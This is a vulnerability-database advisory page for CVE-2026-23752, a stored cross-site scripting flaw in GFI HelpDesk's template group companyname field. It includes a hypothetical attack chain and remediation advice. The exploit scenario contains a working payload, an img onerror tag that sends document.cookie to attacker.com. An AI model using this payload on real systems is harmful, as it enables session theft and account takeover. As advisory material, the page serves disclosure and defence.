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Helpdesk CVE-2026-23752

| EUVD-2026-23926 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulnCheck
4.8
CVSS 4.0 · NVD
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Severity by source

NVD PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

5
Analysis Generated
Apr 20, 2026 - 18:28 vuln.today
EUVD ID Assigned
Apr 20, 2026 - 18:00 euvd
EUVD-2026-23926
Analysis Generated
Apr 20, 2026 - 18:00 vuln.today
Patch released
Apr 20, 2026 - 18:00 nvd
Patch available
CVE Published
Apr 20, 2026 - 17:33 nvd
MEDIUM 4.8

DescriptionCVE.org

GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the template group creation and editing functionality that allows authenticated administrators to inject arbitrary JavaScript by manipulating the companyname POST parameter without HTML sanitization. Attackers can inject malicious scripts through the companyname field that execute in the browsers of any administrator viewing the Templates > Groups page.

AnalysisAI

GFI HelpDesk before version 4.99.9 allows authenticated administrators to inject stored cross-site scripting (XSS) payloads via the companyname parameter in template group creation and editing, with malicious scripts executing in the browsers of other administrators viewing the Templates > Groups page. The attack requires administrative credentials and user interaction (victim viewing the affected page), but succeeds against all administrator accounts with access to that interface.

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain admin credentials or compromise admin account
Delivery
Create/edit template group with JavaScript payload in companyname field
Exploit
Payload stored in HelpDesk database
Install
Victim admin navigates to Templates > Groups page
C2
Malicious script executes in victim's browser
Execute
Attacker steals session token or redirects to phishing
Impact
Admin account compromised or credential harvested

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to possess valid administrative credentials with permissions to create or edit template groups in GFI HelpDesk. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment CVSS score of 4.8 reflects moderate severity with low real-world urgency despite the stored XSS classification. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An administrator with malicious intent or a compromised administrative account creates a new template group and enters JavaScript code (e.g., `<img src=x onerror='fetch("https://attacker.com?cookie=" + document.cookie)'>`) in the companyname field. When other administrators navigate to the Templates > Groups page to review or edit template groups, the injected script executes in their browser, stealing session cookies or redirecting them to a phishing site. …
Remediation Upgrade GFI HelpDesk to version 4.99.9 or later, which includes HTML sanitization and proper output encoding for the companyname parameter and related template group fields. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-23752 vulnerability details – vuln.today

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